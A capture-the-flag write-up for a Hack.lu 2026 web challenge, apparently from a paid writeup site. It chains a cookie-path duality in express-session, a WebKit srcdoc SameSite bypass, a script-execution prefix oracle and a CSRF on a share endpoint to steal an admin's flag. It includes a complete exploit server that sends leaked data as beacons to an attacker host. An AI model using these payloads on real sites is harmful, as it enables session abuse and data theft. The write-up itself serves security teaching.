$ cat writeup.md…
$ cat writeup.md…
Hack.lu CTF 2026
Task: an Express board app where the admin bot holds a SameSite=Strict session and the flag sits in the admin's widget note. Solution: abuse cookie.path='' to create a second session cookie at Path=/board, then a WebKit srcdoc siteForCookies bug to ride the admin's Strict cookie, leak the admin widget id with a script-execution oracle, and CSRF the share endpoint.
Pin the pages you live in. Solve the challenge locally, then request an instance.
English summary: a widget/pinboard web app ("WidgetBoard"). Each user gets a
board of tiles; a tile is an <iframe> pointing at a user-supplied URL. An admin
bot logs in as admin and visits a URL you report. The admin's own widget stores
the flag in its note field, which is only ever rendered as HTML text on the
admin's own /board page. The objective is to make the admin's widget appear on
the attacker's board (or otherwise disclose its note).
Stack (from widgetboard.zip): Express 5.3.0, express-session 1.19.0
(MemoryStore), better-sqlite3, EJS 7.0.2, an nginx front proxy, and a Playwright
WebKit 1.62.1 bot. Session cookie is wb.sid with
{ httpOnly: true, sameSite: 'strict', maxAge: 7d, path: '' }. Every response
carries Cross-Origin-Opener-Policy: same-origin; there is no CSP anywhere.
Relevant server behaviour (src/server.js):
POST /board acts as login-or-register: the username is created if missing,
the password is compared if the user exists, and req.session.userId is set.
There is no req.session.regenerate(), and the handler does not re-verify
the account afterwards.GET /board renders the caller's own + shared widgets. The note (w.note) is
the flag and is only rendered on the owner's board.GET /widgets/suggest?q= returns, scoped to the caller, the widget IDs that
start with q (case-folded), as text/plain:
SELECT id FROM widgets WHERE (owner_id=? OR shared_with=?) AND instr(lower(id),?)=1.POST /widgets/:id/share takes username, checks only
widget.owner_id === user.id (i.e. you must own the widget) and rejects
targetName === 'admin'. It has no CSRF token and no Origin/Referer check.<iframe src="<%= w.url %>" sandbox="allow-scripts allow-same-origin" referrerpolicy="no-referrer">.
Class donor widgets carry id = "<owner>-<12 hex>".Two independent bugs combine here:
Root cause A — cookie.path = ''. express-session's cookie serializer
(cookie package) only writes Path= when opt.path is truthy, so an empty
string is treated as falsy and the Path attribute is omitted entirely.
Per RFC 6265 §5.1.4 the browser then derives the cookie's default-path from
the request URI: POST /board → Path=/, but POST /board/ → Path=/board.
Because express tolerates the trailing slash, the attacker can plant a second
wb.sid at Path=/board while the admin's cookie at Path=/ stays intact.
On GET /board the more specific /board cookie wins (attacker session); on
GET /widgets/* only the / cookie matches (admin session). This "path
duality" gives the attacker a readable board while every /widgets/* call
runs with admin privileges.
Root cause B — WebKit srcdoc siteForCookies bug. Per RFC 6265bis
§5.2.1 the site-for-cookies of a frame is computed by walking the whole
ancestor chain, so a request from the cross-origin tile iframe is treated as
cross-site and SameSite=Strict admin cookies are withheld — that is why a
plain <script src=APP/...> or fetch(...,{credentials:'include'}) from the
tile fails. The WebKit shipped with Playwright 1.62.1 (WebKit 26.0, fixed
upstream later, commit c52bbb5187) instead computes a srcdoc iframe's
siteForCookies from the top-level document rather than from the
immediately enclosing browsing context. A srcdoc child of the cross-origin
tile is therefore considered same-site with the APP, and its requests carry
the admin's SameSite=Strict cookie.
Also useful: GET /widgets/suggest is served as text/plain without
X-Content-Type-Options: nosniff, so WebKit executes the body when loaded via
<script src>. The body is admin-<12 hex>, i.e. invalid JS, so a parser/runtime
error occurs exactly when the queried prefix matches.
The bot does page.goto(attacker_url) once and then sleeps 30 s. It also
installs context.on('page', () => browser.close()), so any popup
(window.open, target=_blank) immediately kills the whole browser. COOP
same-origin also nulls window.opener. The exploit therefore has to run with a
single navigation and no popups.
Register ATTACKER / ATTACKER_PW and add a widget whose url points at the
attacker server's /exploit page. This widget is the tile that will host the
gadget.
/board-scoped session cookie (path duality)Serve /stage1 from the attacker origin. A cross-site top-level form POST is
the one browser-initiated request class that is allowed to store the session
cookie (cross-site fetch, sendBeacon, and iframe-form POSTs do not). Point it
at APP/board/ (trailing slash) so the default-path becomes /board:
<form id="f" method="POST" action="APP/board/"> <input name="username" value="ATTACKER"> <input name="password" value="ATTACKER_PW"> </form> <script> document.getElementById('f').submit(); // top-level POST, stores wb.sid at Path=/board setTimeout(function(){ location.href = 'APP/'; }, 200); // then borrow the app's own redirect gadget </script>
Because the POST is cross-site, the admin's SameSite=Strict cookie is not sent,
so the server creates a new session and the Set-Cookie lands at
Path=/board. The following setTimeout navigates to APP/, whose landing page
contains <meta http-equiv="refresh" content="1;url=/signin">. That
app-initiated meta-refresh hop does send cookies, so /signin sees the
/board cookie, and /board then renders the attacker's board at the APP
origin. The admin cookie remains at / and keeps winning on /widgets/*.
If the top-level POST navigation had landed only on /signin (static page, no
cancellable redirect) the chain would stall — the trick is the setTimeout
handing the final navigation to the app's own meta-refresh/redirect sequence.
Inside the attacker tile iframe (cross-origin, sandboxed with
allow-scripts allow-same-origin) create a srcdoc iframe. Due to the WebKit
bug its siteForCookies is the top-level APP, so requests from it carry the
admin's Strict cookie:
var f = document.createElement('iframe'); f.srcdoc = '<scr'+'ipt>' + 'var admin=0;window.onerror=function(){' + 'new Image().src="BEACON/hit?q='+encodeURIComponent(q)+'";return true' + '};' + '<\/scr'+'ipt>' + '<scr'+'ipt src="APP/widgets/suggest?q='+encodeURIComponent(q)+'"><\/scr'+'ipt>'; document.body.appendChild(f);
Note the sandbox lacks allow-forms, allow-popups and allow-top-navigation,
so forms/popups/top-nav from the tile are blocked — but iframe creation with
srcdoc and fetch are not sandbox-gated.
The admin widget id is admin-<12 hex>. GET /widgets/suggest?q=<prefix> on the
admin cookie returns text/plain (no nosniff), which WebKit executes as
<script>:
admin-<hex> → the identifier raises a runtime
ReferenceError → window.onerror fires → beacon sent.Seed var admin=0 so the response parses as the expression 0 - <hex identifier> and guarantees a ReferenceError whenever any data is returned
(a bare <script src> element onerror does not fire for runtime/parse
errors, so window.onerror is required, not the element handler). Run 16
candidates per round (one hex char), count beacons, extend the prefix one char
per round for 12 rounds. Total ≈ 12 × 16 requests, recovered inside the 30 s
sleep on the live instance.
POST /widgets/:id/share has no CSRF token and no Origin check. Issued from the
srcdoc context (so it again rides the admin cookie), the request is evaluated
with req.session.userId = admin, so the widget.owner_id === user.id check
passes and shared_with is set to the attacker's username. The admin target
guard only blocks sharing to admin, not from the admin's own session:
fetch('APP/widgets/'+wid+'/share', { method: 'POST', credentials: 'include', mode: 'no-cors', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'username=ATTACKER' });
Log in as ATTACKER and request /board. The admin's widget is now listed as
shared by @admin, and its note renders the flag:
<h2><span>flag{...}</span></h2>
// exploit_live.js (abridged) — serves the chain and records beacons. const http = require('http'); const APP_URL = process.env.APP_URL; // https://<instance>.widgetboard.digital const ATTACKER_URL = process.env.ATTACKER_URL; // public tunnel to this server const ATTACKER_USER = 'zz_xpl_' + Math.random().toString(36).slice(2, 6); const ATTACKER_PW = 'hunter2hunter2'; const beacons = new Map(); let done = false; http.createServer((req, res) => { const url = new URL(req.url, 'http://x'); if (url.pathname === '/stage1') { res.writeHead(200, {'Content-Type': 'text/html'}); return res.end(`<!DOCTYPE html><body> <form id="f" method="POST" action="${APP_URL}/board/"> <input name="username" value="${ATTACKER_USER}"> <input name="password" value="${ATTACKER_PW}"> </form> <script> document.getElementById('f').submit(); setTimeout(function(){ location.href='${APP_URL}/'; }, 200); </script></body>`); } if (url.pathname === '/exploit') { res.writeHead(200, {'Content-Type': 'text/html'}); return res.end(exploitPage()); } if (url.pathname === '/hit') { // oracle beacon const q = url.searchParams.get('q'); const round = q.replace('admin-', '').length - 1; if (!beacons.has(round)) beacons.set(round, new Set()); beacons.get(round).add(q.slice(-1)); res.end('ok'); return; } if (url.pathname === '/result') { // winner for a round const hits = beacons.get(parseInt(url.searchParams.get('round'))); res.writeHead(200, {'Content-Type': 'application/json'}); return res.end(JSON.stringify({char: hits ? [...hits][0] : null})); } if (url.pathname === '/shared') { done = true; res.end('ok'); return; } res.end('ok'); }).listen(9999); function exploitPage() { return `<!DOCTYPE html><body><script> var APP='${APP_URL}', B='${ATTACKER_URL}', U='${ATTACKER_USER}', H='0123456789abcdef'.split(''); function probe(pfx){ // 16 srcdoc iframes, one per hex char H.forEach(function(c){ var q = pfx + c, s = document.createElement('iframe'); s.srcdoc = '<scr'+'ipt>' + 'var admin=0;window.onerror=function(){' + 'new Image().src="'+B+'/hit?q='+encodeURIComponent(q)+'";return true};' + '<\\/scr'+'ipt>' + '<scr'+'ipt src="'+APP+'/widgets/suggest?q='+encodeURIComponent(q)+'"><\\/scr'+'ipt>'; document.body.appendChild(s); }); } async function oracle(){ var w='admin-'; for(var i=0;i<12;i++){ probe(w); await new Promise(function(r){setTimeout(r,1200)}); // collect beacons var d = await (await fetch(B+'/result?round='+i)).json(); if(!d.char) return null; w += d.char; } return w; } function share(wid){ // CSRF share as admin session var s = document.createElement('iframe'); s.srcdoc = '<scr'+'ipt>fetch("'+APP+'/widgets/'+wid+'/share",{' + 'method:"POST",credentials:"include",mode:"no-cors",' + 'headers:{"Content-Type":"application/x-www-form-urlencoded"},' + 'body:"username='+U+'"}).then(function(r){' + 'new Image().src="'+B+'/shared?s="+r.status+"&w='+wid+'"' + '}).catch(function(){new Image().src="'+B+'/shared?s=err&w='+wid+'"})' + '<\\/scr'+'ipt>'; document.body.appendChild(s); } (async function(){ var wid = await oracle(); if (wid) await share(wid); })(); </script></body>`; }
After the beacons stop, log in as ATTACKER and GET /board — the shared admin
widget's note is flag{...}.
<%= %> (HTML-escaped);
w.url, w.note, w.id are all escaped inside the tile template. Widget URLs
must match ^https?://, so no javascript:/data: schemes.context.on('page', () => browser.close()) kills the browser on
any popup, and COOP same-origin nulls window.opener. A popup-based oracle
only ever completes a couple of requests before the browser dies.regenerate(), but planting a cookie into the bot's jar still requires the
same cross-site write primitive; SameSite=Strict + httpOnly blocks naive
planting.fetch (even keepalive),
sendBeacon, and cross-site iframe-form POSTs all fail to store the cookie;
only a top-level POST navigation writes it, and that consumes the single
navigation the attacker JS gets.owner_id. Passing a TEXT '1' to the
listVisible/suggest queries coerces to INTEGER and would match the admin's
widgets, but user.id always arrives as a JS number from better-sqlite3, so a
string type can never be injected through the session.cookie.path = '' omit-Path duality (express-session + cookie
serializer; RFC 6265 §5.1.4 default-path). Two wb.sid cookies coexist:
attacker at Path=/board, admin at Path=/; path specificity routes /board
to the attacker and /widgets/* to the admin.srcdoc siteForCookies bug (Playwright 1.62.1 / WebKit 26.0,
fixed in a later WebKit, upstream commit c52bbb5187, WebKit Weekly 2026-W33).
A srcdoc iframe inherits the top-level document's site-for-cookies instead
of its parent's, turning a cross-site tile into a same-site request context and
bypassing SameSite=Strict.text/plain without nosniff on /widgets/suggest + WebKit's
MIME-sniffing script execution → XS-Search-style prefix oracle over the widget
id.POST /widgets/:id/share CSRF — no token, no Origin check, owner-only
check satisfied by the borrowed admin session.Use this technique when:
express-session config contains cookie: { ... path: '' } (or the Set-Cookie
header lacks a Path attribute) → look for default-path duality.SameSite=Strict and the bot renders an attacker iframe
inside a sandbox that allows allow-scripts allow-same-origin.srcdoc
siteForCookies bug is the only cross-site same-site-context primitive left.text/plain without X-Content-Type-Options: nosniff and
its body is attacker-influenceable/prefix-selectable → <script src> execution
oracle.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar